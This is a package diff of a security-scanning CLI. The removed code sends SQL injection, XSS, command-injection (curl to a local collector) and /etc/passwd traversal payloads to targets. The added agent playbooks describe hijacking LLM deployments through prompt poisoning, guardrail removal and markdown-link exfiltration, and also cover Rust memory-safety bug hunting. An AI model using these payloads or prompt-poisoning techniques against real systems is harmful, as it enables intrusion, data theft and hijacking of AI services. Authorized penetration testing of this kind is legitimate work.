0sec-cli 0.24.1 → 0.26.0

package/chunks/{chunk-YERUDEXT.js → chunk-PAE7ZAV6.js}

@@ -1,649 +1,12 @@
 #!/usr/bin/env node
 import { createRequire as __0CreateRequire } from "node:module";
 const require = __0CreateRequire(import.meta.url);
+import {
+  allowlistedChildEnv
+} from "./chunk-5IBCBQEH.js";
 
-// packages/core/dist/triage/oracle-runtime.js
-import { randomUUID } from "node:crypto";
-import { createServer } from "node:http";
-
-// packages/core/dist/triage/oracles.js
-var DEFAULT_TIMEOUT_MS = 1e4;
-function notVerifiable(reason) {
-  return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
-}
-function verified(evidence, confidence = 1) {
-  return { verified: true, confidence, evidence, reason: "" };
-}
-function parseRequest(requestText, fallbackTarget) {
-  const parsed = {
-    method: "GET",
-    url: fallbackTarget,
-    headers: {},
-    body: "",
-    params: {}
-  };
-  const parseFallbackQuery = () => {
-    try {
-      const u = new URL(parsed.url);
-      u.searchParams.forEach((v, k) => {
-        parsed.params[k] = v;
-      });
-    } catch {
-    }
-  };
-  if (!requestText) {
-    parseFallbackQuery();
-    return parsed;
-  }
-  requestText = requestText.replace(/\r\n/g, "\n");
-  const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
-  if (curlUrl)
-    parsed.url = curlUrl[1].replace(/['"]$/, "");
-  const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
-  if (curlMethod)
-    parsed.method = curlMethod[1].toUpperCase();
-  const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
-  if (curlData)
-    parsed.body = curlData[1];
-  const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
-  if (startLine) {
-    parsed.method = startLine[1].toUpperCase();
-    const path = startLine[2];
-    const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
-    if (/^https?:\/\//i.test(path)) {
-      parsed.url = path;
-    } else if (hostHeader) {
-      const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
-      parsed.url = `${scheme}://${hostHeader[1]}${path}`;
-    } else if (path.startsWith("/")) {
-      try {
-        const base = new URL(fallbackTarget);
-        parsed.url = `${base.origin}${path}`;
-      } catch {
-        parsed.url = path;
-      }
-    } else {
-      parsed.url = path;
-    }
-    const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
-    for (const line of headerBlock.split("\n").slice(1)) {
-      const colon = line.indexOf(":");
-      if (colon > 0) {
-        const name = line.slice(0, colon).trim().toLowerCase();
-        if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
-          parsed.headers[name] = line.slice(colon + 1).trim();
-        }
-      }
-    }
-    const sep = requestText.indexOf("\n\n");
-    if (sep >= 0)
-      parsed.body = requestText.slice(sep + 2);
-  }
-  try {
-    const u = new URL(parsed.url);
-    u.searchParams.forEach((v, k) => {
-      parsed.params[k] = v;
-    });
-  } catch {
-  }
-  if (parsed.body.trimStart().startsWith("{")) {
-    try {
-      const json = JSON.parse(parsed.body);
-      for (const [key, value] of Object.entries(json)) {
-        if (typeof value === "string" || typeof value === "number")
-          parsed.params[key] = String(value);
-      }
-    } catch {
-    }
-  } else if (parsed.body.includes("=")) {
-    new URLSearchParams(parsed.body).forEach((value, key) => {
-      parsed.params[key] = value;
-    });
-  }
-  return parsed;
-}
-function buildProbeRequest(parsed, newParams) {
-  const method = parsed.method || "GET";
-  const init = { method, headers: { ...parsed.headers } };
-  const url = new URL(parsed.url);
-  let json;
-  if (parsed.body.trimStart().startsWith("{")) {
-    try {
-      json = JSON.parse(parsed.body);
-    } catch {
-    }
-  }
-  const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
-  for (const [key, value] of Object.entries(newParams)) {
-    if (method !== "GET" && json && Object.hasOwn(json, key))
-      json[key] = value;
-    else if (method !== "GET" && form?.has(key))
-      form.set(key, value);
-    else
-      url.searchParams.set(key, value);
-  }
-  if (method !== "GET") {
-    init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
-    if (json)
-      init.headers = { "content-type": "application/json", ...parsed.headers };
-    else if (form)
-      init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
-  }
-  return { url: url.toString(), init };
-}
-async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
-  const controller = new AbortController();
-  const timer = setTimeout(() => controller.abort(), timeoutMs);
-  const start = Date.now();
-  try {
-    const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
-    const body = await res.text();
-    return { status: res.status, body, latencyMs: Date.now() - start };
-  } catch {
-    return null;
-  } finally {
-    clearTimeout(timer);
-  }
-}
-var SQL_ERROR_PATTERNS = [
-  // MySQL
-  /You have an error in your SQL syntax/i,
-  /\bmysql_fetch_/i,
-  /\bMySQLSyntaxErrorException\b/i,
-  /\bMariaDB\b.*?\bsyntax\b/i,
-  // PostgreSQL
-  /\bPG::SyntaxError\b/i,
-  /\bpq:\s+syntax error\b/i,
-  /\bpsql:.*?ERROR:/i,
-  /unterminated quoted string/i,
-  // SQLite
-  /\bSQLite3::/i,
-  /\bsqlite3\.OperationalError\b/i,
-  /near\s+".+?":\s*syntax error/i,
-  // MSSQL
-  /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
-  /\bUnclosed quotation mark\b/i,
-  /\bOLE DB.*?SQL Server\b/i,
-  // Oracle
-  /\bORA-\d{4,5}\b/i,
-  /\bquoted string not properly terminated\b/i
-];
-function detectSqlError(body) {
-  for (const re of SQL_ERROR_PATTERNS) {
-    const m = body.match(re);
-    if (m)
-      return m[0];
-  }
-  return null;
-}
-function pickInjectableParam(parsed) {
-  for (const [k, v] of Object.entries(parsed.params)) {
-    if (v && v.length > 0)
-      return { key: k, value: v };
-  }
-  const first = Object.keys(parsed.params)[0];
-  if (first)
-    return { key: first, value: parsed.params[first] ?? "" };
-  return null;
-}
-async function verifySqli(finding, target, context = {}) {
-  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const signals = [];
-  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
-  if (!baseline)
-    return notVerifiable("baseline request failed");
-  const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
-  const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
-  if (trueProbe && falseProbe && trueProbe.body.length > 0) {
-    const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
-    if (delta > 0.1) {
-      signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
-    }
-  }
-  const timePayloads = [
-    `${victim.value}' AND SLEEP(3)-- -`,
-    `${victim.value}'; SELECT pg_sleep(3)-- -`,
-    `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
-  ];
-  for (const payload of timePayloads) {
-    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
-    if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
-      signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
-      break;
-    }
-  }
-  const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
-  if (errProbe) {
-    const err = detectSqlError(errProbe.body);
-    if (err)
-      signals.push(`sql_error: ${err}`);
-  }
-  if (signals.length >= 2) {
-    return verified(signals.join(" | "));
-  }
-  return {
-    verified: false,
-    confidence: signals.length === 1 ? 0.4 : 0,
-    evidence: signals.join(" | "),
-    reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
-  };
-}
-async function verifyReflectedXss(finding, target, context = {}) {
-  const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const token = `osec_${randomUUID().replace(/-/g, "")}`;
-  const payload = `<script>alert('${token}')</script>`;
-  const { url, init } = buildProbeRequest(parsed, {
-    [victim.key]: payload
-  });
-  const probe = await timedFetch(url, init);
-  const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
-  let playwright = null;
-  try {
-    playwright = await import("playwright");
-  } catch {
-  }
-  if (playwright) {
-    let browser = null;
-    try {
-      browser = await playwright.chromium.launch({ headless: true });
-      const page = await browser.newPage();
-      let dialogMessage = "";
-      page.on("dialog", async (dialog) => {
-        if (dialog.type() === "alert" && dialog.message() === token) {
-          dialogMessage = token;
-        }
-        await dialog.dismiss().catch(() => {
-        });
-      });
-      let replayed = false;
-      await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
-        const request = route.request();
-        const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
-        if (initial)
-          replayed = true;
-        const replayInit = {
-          method: initial ? init.method : request.method(),
-          headers: initial ? init.headers : request.headers(),
-          body: initial ? init.body : request.postData(),
-          redirect: "manual"
-        };
-        if (context.fetch) {
-          try {
-            const response = await context.fetch(request.url(), replayInit);
-            const headers = Object.fromEntries(response.headers);
-            delete headers["content-encoding"];
-            delete headers["content-length"];
-            await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
-          } catch {
-            await route.abort();
-          }
-        } else if (initial) {
-          await route.continue({
-            method: init.method,
-            headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
-            ...typeof init.body === "string" ? { postData: init.body } : {}
-          });
-        } else {
-          await route.continue();
-        }
-      });
-      await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
-      await page.waitForTimeout(500);
-      await browser.close();
-      browser = null;
-      if (dialogMessage === token) {
-        return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
-      }
-    } catch (err) {
-      if (browser)
-        await browser.close().catch(() => {
-        });
-      return {
-        verified: false,
-        confidence: htmlReflected ? 0.4 : 0,
-        evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
-        inconclusive: true,
-        reason: `playwright navigation failed: ${err.message}`
-      };
-    }
-  }
-  if (htmlReflected) {
-    return {
-      verified: false,
-      confidence: 0.5,
-      evidence: `html_reflection: payload reflected unencoded in response body`,
-      reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
-    };
-  }
-  return notVerifiable("no xss reflection or alert captured");
-}
-async function withCollector(nonce, timeoutMs, work) {
-  const port = 8888 + Math.floor(Math.random() * 1e3);
-  let hit = false;
-  const server = createServer((req, res) => {
-    if ((req.url ?? "").includes(nonce))
-      hit = true;
-    res.writeHead(200);
-    res.end("ok");
-  });
-  await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
-  const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
-  const waitForHit = async () => {
-    const deadline = Date.now() + timeoutMs;
-    while (Date.now() < deadline) {
-      if (hit)
-        return true;
-      await new Promise((r) => setTimeout(r, 100));
-    }
-    return hit;
-  };
-  try {
-    return await work(collectorUrl, waitForHit);
-  } finally {
-    await new Promise((resolve) => server.close(() => resolve()));
-  }
-}
-async function verifySsrf(finding, target, context = {}) {
-  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
-  return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
-    const { url, init } = buildProbeRequest(parsed, {
-      [victim.key]: collectorUrl
-    });
-    const probe = await timedFetch(url, init, 8e3);
-    if (!probe)
-      return notVerifiable("ssrf probe failed to send");
-    const hit = await waitForHit();
-    if (hit) {
-      return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
-    }
-    return {
-      verified: false,
-      confidence: 0,
-      evidence: "",
-      reason: `collector never received a request for nonce=${nonce}`
-    };
-  });
-}
-async function verifyRce(finding, target, context = {}) {
-  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
-  return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
-    const payloads = [
-      `${victim.value};curl ${collectorUrl}`,
-      `${victim.value}|curl ${collectorUrl}`,
-      `${victim.value}$(curl ${collectorUrl})`,
-      `${victim.value}\`curl ${collectorUrl}\``,
-      `${victim.value}&&curl ${collectorUrl}`
-    ];
-    for (const payload of payloads) {
-      const { url, init } = buildProbeRequest(parsed, {
-        [victim.key]: payload
-      });
-      await timedFetch(url, init, 8e3);
-    }
-    const hit = await waitForHit();
-    if (hit)
-      return verified(`collector hit: nonce=${nonce}`);
-    return {
-      verified: false,
-      confidence: 0,
-      evidence: "",
-      reason: `collector never received a request for nonce=${nonce}`
-    };
-  });
-}
-var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
-async function verifyPathTraversal(finding, target, context = {}) {
-  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  const victim = pickInjectableParam(parsed);
-  if (!victim)
-    return notVerifiable("no injectable parameter found in finding evidence");
-  const payloads = [
-    "../../../../etc/passwd",
-    "..%2f..%2f..%2f..%2fetc%2fpasswd",
-    "..%252f..%252f..%252fetc%252fpasswd",
-    "../../../../etc/passwd%00",
-    "....//....//....//etc/passwd",
-    "/etc/passwd"
-  ];
-  for (const payload of payloads) {
-    const { url, init } = buildProbeRequest(parsed, {
-      [victim.key]: payload
-    });
-    const probe = await timedFetch(url, init);
-    if (!probe)
-      continue;
-    const m = probe.body.match(PASSWD_PATTERN);
-    if (m) {
-      return verified(`payload=${payload} response contained "${m[0]}"`);
-    }
-  }
-  return notVerifiable("no /etc/passwd signature in any traversal probe response");
-}
-async function verifyIdor(finding, target, context = {}) {
-  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
-  const boundary = await context.verifyAccessControl?.(finding, target);
-  if (boundary)
-    return boundary;
-  const parsed = parseRequest(finding.evidence?.request ?? "", target);
-  if (parsed.method !== "GET")
-    return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
-  let idKey = null;
-  let idValue = 0;
-  for (const [k, v] of Object.entries(parsed.params)) {
-    if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
-      idKey = k;
-      idValue = parseInt(v, 10);
-      break;
-    }
-  }
-  if (!idKey) {
-    for (const [k, v] of Object.entries(parsed.params)) {
-      if (/^\d+$/.test(v)) {
-        idKey = k;
-        idValue = parseInt(v, 10);
-        break;
-      }
-    }
-  }
-  if (!idKey)
-    return notVerifiable("no numeric id-like parameter to mutate");
-  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
-  if (!baseline)
-    return notVerifiable("baseline request failed");
-  const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
-  const hits = [];
-  for (const variant of variants) {
-    if (variant === String(idValue))
-      continue;
-    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
-    if (!probe)
-      continue;
-    if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
-      hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
-    }
-  }
-  if (hits.length > 0) {
-    return {
-      verified: false,
-      confidence: 0.7,
-      inconclusive: true,
-      evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
-      reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
-    };
-  }
-  return notVerifiable("no distinct 200 response on id mutation");
-}
-async function verifyOracleByCategory(finding, target, context = {}) {
-  const category = finding.category;
-  switch (category) {
-    case "sql-injection":
-      return verifySqli(finding, target, context);
-    case "xss":
-      return verifyReflectedXss(finding, target, context);
-    case "ssrf":
-      return verifySsrf(finding, target, context);
-    case "command-injection":
-    case "code-injection":
-      return verifyRce(finding, target, context);
-    case "path-traversal":
-      return verifyPathTraversal(finding, target, context);
-    // Heuristic: "information-disclosure" findings referencing an id param
-    // look a lot like IDOR. We route them through the IDOR oracle as well.
-    case "information-disclosure":
-      return verifyIdor(finding, target, context);
-    default:
-      return {
-        verified: false,
-        confidence: 0,
-        evidence: "",
-        reason: `no oracle for category="${category}"`
-      };
-  }
-}
-
-// packages/core/dist/review/sanitizer-log.js
-var ASAN_CATEGORY_BY_KIND = {
-  "heap-use-after-free": "use-after-free",
-  "stack-use-after-return": "use-after-free",
-  "stack-use-after-scope": "use-after-free",
-  "double-free": "double-free",
-  "attempting-double-free": "double-free",
-  "stack-buffer-overflow": "stack-buffer-overflow",
-  "heap-buffer-overflow": "heap-overflow",
-  "global-buffer-overflow": "heap-overflow"
-};
-function categoryForAsan(kind, primitive) {
-  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
-    return "out-of-bounds-read";
-  }
-  if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
-    return "out-of-bounds-write";
-  }
-  return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
-}
-function categoryForUbsan(message) {
-  const lower = message.toLowerCase();
-  if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
-    return { kind: "signed-integer-overflow", category: "integer-overflow" };
-  }
-  if (lower.includes("shift exponent") || lower.includes("shift base")) {
-    return { kind: "shift-exponent", category: "integer-overflow" };
-  }
-  if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
-    return { kind: "float-cast-overflow", category: "integer-truncation" };
-  }
-  if (lower.includes("null pointer") || lower.includes("null-pointer")) {
-    return { kind: "null-pointer-use", category: "null-deref" };
-  }
-  return { kind: "undefined-behavior", category: "other" };
-}
-function parsePrimitive(text) {
-  const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
-  if (!access)
-    return { primitive: "unknown" };
-  return {
-    primitive: access[1].toLowerCase(),
-    accessSize: Number(access[2])
-  };
-}
-function parseFrames(text) {
-  const frames = [];
-  const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
-  let match;
-  while ((match = frameRegex.exec(text)) !== null) {
-    frames.push({
-      functionName: match[1],
-      file: match[2],
-      line: Number(match[3])
-    });
-  }
-  return frames;
-}
-function parseAsan(text) {
-  const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
-  if (!header?.[1])
-    return null;
-  const kind = header[1].toLowerCase();
-  const { primitive, accessSize } = parsePrimitive(text);
-  const frames = parseFrames(text);
-  let sourceFile = frames[0]?.file;
-  let sourceLine = frames[0]?.line;
-  const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
-  if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
-    sourceFile = summary[1];
-    sourceLine = Number(summary[2]);
-  }
-  const allocMatch = text.match(/\b(\d+)-byte region\b/i);
-  const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
-  return {
-    sanitizer: "asan",
-    kind,
-    category: categoryForAsan(kind, primitive),
-    primitive,
-    sourceFile,
-    sourceLine,
-    allocSize,
-    accessSize,
-    summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
-    frames
-  };
-}
-function parseUbsan(text) {
-  const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
-  if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
-    return null;
-  const details = runtime[4].trim();
-  const { kind, category } = categoryForUbsan(details);
-  return {
-    sanitizer: "ubsan",
-    kind,
-    category,
-    primitive: "unknown",
-    sourceFile: runtime[1],
-    sourceLine: Number(runtime[2]),
-    summary: details,
-    frames: []
-  };
-}
-function parseSanitizerLog(text) {
-  const trimmed = text.trim();
-  if (!trimmed)
-    return null;
-  return parseAsan(trimmed) ?? parseUbsan(trimmed);
-}
-function renderSanitizerVerdict(verdict) {
-  const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
-  const sizes = [
-    verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
-    verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
-  ].filter(Boolean).join(", ");
-  return [
-    `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
-    `category=${verdict.category}`,
-    `primitive=${verdict.primitive}`,
-    `source=${loc}`,
-    sizes || null
-  ].filter(Boolean).join("; ");
-}
+// packages/core/dist/stages/memsafety-scan.js
+import { randomUUID as randomUUID2 } from "node:crypto";
 
 // packages/core/dist/agent/playbooks.js
 var PLAYBOOKS = {
@@ -1354,682 +717,2829 @@ Prefer read-only introspection: \`information_schema.columns\`, \`SHOW TABLES\`,
 - The finding is "this prompt row is attacker-writable and consumed at inference",
   proven by privilege + re-read evidence \u2014 not by a destructive UPDATE.
 
-### Step 3: Model the impact (classify, narrate \u2014 no live tampering)
-Map each writable prompt-layer asset to its impact class:
-- **prompt_poisoning** \u2014 rewriting the system prompt / persona / instructions \u2192
-  full hijack of every response (exfil instructions, scams, malware links,
-  brand-damaging output) for all users, persistently.
-- **guardrail_removal** \u2014 editing safety/refusal/policy text or flipping a
-  \`safety_settings\`/\`moderation\` flag \u2192 jailbreak-by-config; the model now
-  answers what it used to refuse.
-- **output_channel_exfil** \u2014 injecting an instruction that makes the model emit
-  attacker URLs (markdown-image / link exfil) or push data into an output sink \u2192
-  silent data exfiltration on every conversation (pairs with
-  \`insecure_output_handling\`).
-- **model_config_tamper** \u2014 swapping the model name, raising temperature, or
-  rewiring tool/function config \u2192 degraded safety, or steering the agent toward
-  attacker-chosen tools (pairs with \`excessive_agency\`).
+### Step 3: Model the impact (classify, narrate \u2014 no live tampering)
+Map each writable prompt-layer asset to its impact class:
+- **prompt_poisoning** \u2014 rewriting the system prompt / persona / instructions \u2192
+  full hijack of every response (exfil instructions, scams, malware links,
+  brand-damaging output) for all users, persistently.
+- **guardrail_removal** \u2014 editing safety/refusal/policy text or flipping a
+  \`safety_settings\`/\`moderation\` flag \u2192 jailbreak-by-config; the model now
+  answers what it used to refuse.
+- **output_channel_exfil** \u2014 injecting an instruction that makes the model emit
+  attacker URLs (markdown-image / link exfil) or push data into an output sink \u2192
+  silent data exfiltration on every conversation (pairs with
+  \`insecure_output_handling\`).
+- **model_config_tamper** \u2014 swapping the model name, raising temperature, or
+  rewiring tool/function config \u2192 degraded safety, or steering the agent toward
+  attacker-chosen tools (pairs with \`excessive_agency\`).
+
+### Step 4: Produce the impact narrative + save
+- Write the narrative: which row/column, which impact class(es), blast radius
+  (all users / one tenant), persistence (survives restarts because it's in the DB),
+  and the proof that it's writable + re-read.
+- \`save_finding\` with: the table/column/key, a read-only sample of the current
+  prompt, the privilege/re-read evidence, the impact classification, and the
+  narrative. Explicitly note that NO destructive write was performed.`,
+  rust_memsafety: `## Rust / Userspace Memory-Safety & Sandbox-Escape Playbook ("Monty-mode")
+
+The target is a memory-safe-by-default language runtime (e.g. a Rust-written
+Python interpreter / sandbox such as Pydantic Monty). The bug class is memory
+corruption reachable from attacker-controlled scripting: use-after-free,
+double-free, type confusion, OOB, and **GC-root gaps**. This is discovery +
+classification, NOT autonomous exploit synthesis (see
+docs/0-rust-memsafety-pipeline.md).
+
+### HARD CONSTRAINTS \u2014 bounty rules (never violate)
+1. **Never open a PR or change code** in the target or any of its dependencies.
+   You are auditing, not patching \u2014 do not push, fork-and-PR, or submit upstream.
+2. **Never DoS the live endpoint.** No fuzzing, flooding, resource-exhaustion,
+   or load against the hosted/live service (e.g. hackmonty.com).
+3. **Discovery happens against a LOCAL instrumented build only** \u2014 clone the
+   source, build with sanitizers (ASAN/UBSAN) or run under \`cargo fuzz\` / \`miri\`,
+   and reproduce locally. The live site is only for confirming scope, never the hunt.
+
+### Step 1: Unsafe-block + boundary enumeration
+- Enumerate every \`unsafe\` block: \`grep -rn "unsafe" --include=*.rs\` and read each
+  one. \`unsafe\` is where Rust's guarantees are hand-waved \u2014 that is the audit surface.
+- Audit the PyO3 / C-API / FFI boundary specifically: \`Py_INCREF\`/\`Py_DECREF\`,
+  \`PyObject\` raw pointers, \`from_raw\`/\`into_raw\`, \`transmute\`, \`MaybeUninit\`,
+  \`mem::forget\`, \`ManuallyDrop\`, raw \`*mut\`/\`*const\` deref, and any place a Python
+  object's lifetime is managed by hand rather than by the borrow checker.
+- Flag refcount math done manually (incref/decref imbalance \u2192 UAF or leak) and any
+  \`&mut\` aliasing smuggled across the FFI line (\u2192 type confusion / aliasing UB).
+
+### Step 2: GC-root variant-hunt (the round-1 methodology)
+Round-1 win was a use-after-free via a **missing GC root**: \`list.sort\` held a
+reference to an object the garbage collector did not trace, so it was freed
+mid-operation and then used. The patch "extended the GC root set" \u2014 which means
+the fix is narrow and **adjacent objects are likely still unrooted**.
+- Start from the patched roots. Enumerate every object/temporary that lives
+  *next to* what the patch just rooted: other intrinsics that hold borrowed
+  references across a callback, re-entrancy points, iterators / sort / comparator
+  callbacks, \`__del__\` / finalizer hooks, and any C-side temporary not registered
+  with the collector.
+- For each candidate ask: can the attacker script trigger a GC (allocate pressure,
+  explicit \`gc.collect()\`, drop a large object) *while* this reference is live but
+  untraced? If yes \u2192 candidate UAF.
+- Type-confusion variant: where the patch rooted an object of one type, check
+  whether a sibling path can swap the object's type between the root and the use.
+
+### Step 3: Fuzz + sanitize the LOCAL build
+- Build the cloned tree with sanitizers and drive the suspect entry points
+  (the \`unsafe\` slices and Step-2 candidates) under \`cargo fuzz\` (libFuzzer) and
+  \`miri\` for UB on the unsafe paths. ASAN/UBSAN catch UAF/OOB; miri catches
+  aliasing / uninit UB the sanitizers miss.
+- If \`cargo-fuzz\` / \`miri\` / sanitizer toolchains are not installed, say so and
+  request them \u2014 do NOT fabricate a fuzzing result. The pipeline degrades and
+  reports the missing tooling rather than faking success.
+- Reproduce every crash to a minimal input before claiming it.
+
+### Step 4: Triage, don't over-claim
+- For each reproduced crash, classify the primitive (use-after-free, type-confusion,
+  heap-oob-*, \u2026) and whether the offset / value is attacker-controllable.
+- A crash under the sanitizer is a *finding*; a full UAF\u2192leak\u2192arbitrary-read chain
+  is NOT auto-synthesised \u2014 that stays human/agent-authored and gated by verify.
+- save_finding with: the unsafe block / GC-root gap, the minimal reproducing input,
+  the sanitizer/miri output, and the local build commit. Assume false-positive until
+  the local instrumented build reproduces it deterministically.`
+};
+var INDICATORS = [
+  {
+    type: "sqli",
+    patterns: [
+      /SQL syntax/i,
+      /mysql_fetch/i,
+      /sqlite3?\./i,
+      /pg_query/i,
+      /ORA-\d{5}/i,
+      /ODBC SQL Server/i,
+      /unclosed quotation mark/i,
+      /syntax error.*near/i,
+      /sql.*error/i,
+      /database.*error/i,
+      /SELECT\s+.*FROM\s+/i,
+      /information_schema/i,
+      /UNION\s+SELECT/i
+    ]
+  },
+  {
+    // Structural / JSON-key SQLi (#774): the injectable surface is a key /
+    // field name concatenated into SQL (ORDER BY, dynamic column). These
+    // patterns point at identifier-position injection + the column-name error
+    // shapes that value-fuzz SQLi detection does not key on.
+    type: "structural_sqli",
+    patterns: [
+      /ORDER\s+BY/i,
+      /GROUP\s+BY/i,
+      /Unknown column '[^']*' in/i,
+      /column "[^"]*" does not exist/i,
+      /Invalid column name/i,
+      /no such column/i,
+      /\b(sort|order)(_?by|_?field|field|_?column|_?dir)\b/i,
+      /"(sort|order|column|field|groupBy|orderBy)"\s*:/i,
+      /unrecognized token/i
+    ]
+  },
+  {
+    type: "ssti",
+    patterns: [
+      /\{\{.*\}\}/,
+      /\$\{.*\}/,
+      /<%=.*%>/,
+      /jinja/i,
+      /mako/i,
+      /twig/i,
+      /freemarker/i,
+      /thymeleaf/i,
+      /template.*engine/i,
+      /\b49\b/
+      // result of {{7*7}}
+    ]
+  },
+  {
+    type: "idor",
+    patterns: [
+      /\/api\/users?\/\d+/i,
+      /\/profile\?id=/i,
+      /\/user\/\d+/i,
+      /\/account\/\d+/i,
+      /\/edit\/\d+/i,
+      /\/order\/\d+/i,
+      /user_id/i,
+      /owner_id/i,
+      /account_id/i
+    ]
+  },
+  {
+    // Multi-identity access-control surface (0#564). Distinct from `idor`:
+    // these patterns point at object/function references that should be tested
+    // with the access_control_probe tool across identities, plus the authz
+    // signals (admin endpoints, role params, allow/deny status codes).
+    type: "access_control",
+    patterns: [
+      /\/api\/[a-z]+\/\d+/i,
+      /\/api\/admin\//i,
+      /\/admin\b/i,
+      /\bobject[_-]?id\b/i,
+      /\bresource[_-]?id\b/i,
